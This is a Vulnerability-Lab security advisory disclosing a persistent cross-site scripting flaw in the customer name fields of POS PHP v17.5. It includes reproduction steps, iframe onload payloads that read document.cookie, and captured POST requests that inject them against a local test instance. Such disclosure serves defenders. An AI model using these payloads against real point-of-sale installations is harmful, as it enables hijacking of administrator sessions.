Document Title: =============== POS PHP v17.5 - Persistent Cross Site Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2228 Release Date: ============= 2020-04-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2228 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Turn your Retail Small Business into a Customer Focused, Profit Generating Machine. Guaranteed to save you time, increase the accuracy of your inventory, and help you make informed decisions for your business. Types of businesses that work great with PHP Point of Sale. (Copy of the Homepage: https://phppointofsale.com/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the POS PHP v17.5 web-application. Vulnerability Disclosure Timeline: ================================== 2020-04-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official POS PHP v17.5 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent web vulnerability is located in the firstname and lastname parameter of the customer profile module. Remote attackers are able to change or add malicious script code as firstname and lastname to customer profiles. Thus allows to execute the script code with persistent attack vector against administrators in the backend in the /customers/ or customers/save/ modules. The request method to inject is POST via add or edit of the customer and the attack vector is located on the application-side. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Customer (index.php/customers/save) Vulnerable Input(s): [+] Firstname [+] Lastname Vulnerable File(s): [+] Vulnerable Parameter(s): [+] firstname [+] lastname Affected Module(s): [+] index.php/customers/ Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privilege user account with low user interaction. For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce ... 1. Register a customer account 2. Move to the profile section 3. Inject test payload into the vulnerable firstname and lastname input field 4. Save the entry and wait Note: The execute occurs in the backend on preview of barcode, customer details and more 5. Wait until the admin or other high privileged user roles are interacting for execute 6. Successful reproduce of the persistent web vulnerability! PoC: Exploitation <iframe src="evil.source" onload="alert(document.domain)"> <iframe src="evil.source" onload="alert(document.cookie)"> PoC: Vulnerable Source Reports - PHP Point Of Sale, Inc "<iframe src="evil.source" onload="alert(document.cookie)"> >"<iframe src=evil.source onload=alert(document.cookie)> Report<small class="reports-range">04/25/2019-04/25/2020</small> <button class="btn btn-primary text-white hidden-print print_button pull-right"> Print </button> <button class="btn btn-primary text-white hidden-print save_report_button pull-right" data-message="Enter report name"> Add to Favorites</button> --- PoC Session Logs [POST] --- https://pos-php.localhost:8000/index.php/customers/check_duplicate Host: pos-php.localhost:8000 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 156 Origin: https://pos-php.localhost:8000 Connection: keep-alive Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/ Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u name=>"<iframe src=evil.source onload=alert(document.cookie)> >"<iframe src=evil.source onload=alert(document.cookie)>&email=test@test.de&phone_number=1337 - POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 content-length: 19 server: Apache cache-control: no-store, no-cache, must-revalidate set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly - https://pos-php.localhost:8000/index.php/customers/save/ Host: pos-php.localhost:8000 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------229089197438477571343458328424 Content-Length: 5237 Origin: https://pos-php.localhost:8000 Connection: keep-alive Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/ Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u first_name=>"<iframe src=evil.source onload=alert(document.cookie)>&last_name=>"<iframe src=evil.source onload=alert(document.cookie)>&email=test@aol.de&phone_number=&image_id=&address_1=&address_2=&city=&state=&zip=&country=&comments=& internal_notes=&balance=0.00&credit_limit=1000.00&amount_to_spend_for_next_point=10.00&points=0.00&company_name=& account_number=&tax_class=&tax_names[]=Sales Tax,Sales Tax 2,,,&tax_percents[]=,,,,&tax_cumulatives[]=0,0,0,0&taxable=1& tax_certificate=&location_id=&files[]=,,,,&redirect_code=0 - POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 content-length: 155 server: Apache cache-control: no-store, no-cache, must-revalidate set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly vary: Accept-Encoding content-encoding: gzip - https://pos-php.localhost:8000/evil.source Host: pos-php.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://pos-php.localhost:8000/index.php/reports/generate/specific_customer?report_type=complex& report_date_range_simple=CUSTOM&start_date=2019-04-25&start_date_formatted=04/25/2019%2012:00%20am&end_date=2020-04- 25%2023:59:59&end_date_formatted=04/25/2020%2012:00%20am&customer_id=42&sale_type=all&export_excel=0 Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u - GET: HTTP/2.0 200 OK content-type: text/html; charset=iso-8859-1 content-length: 199 server: Apache Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. 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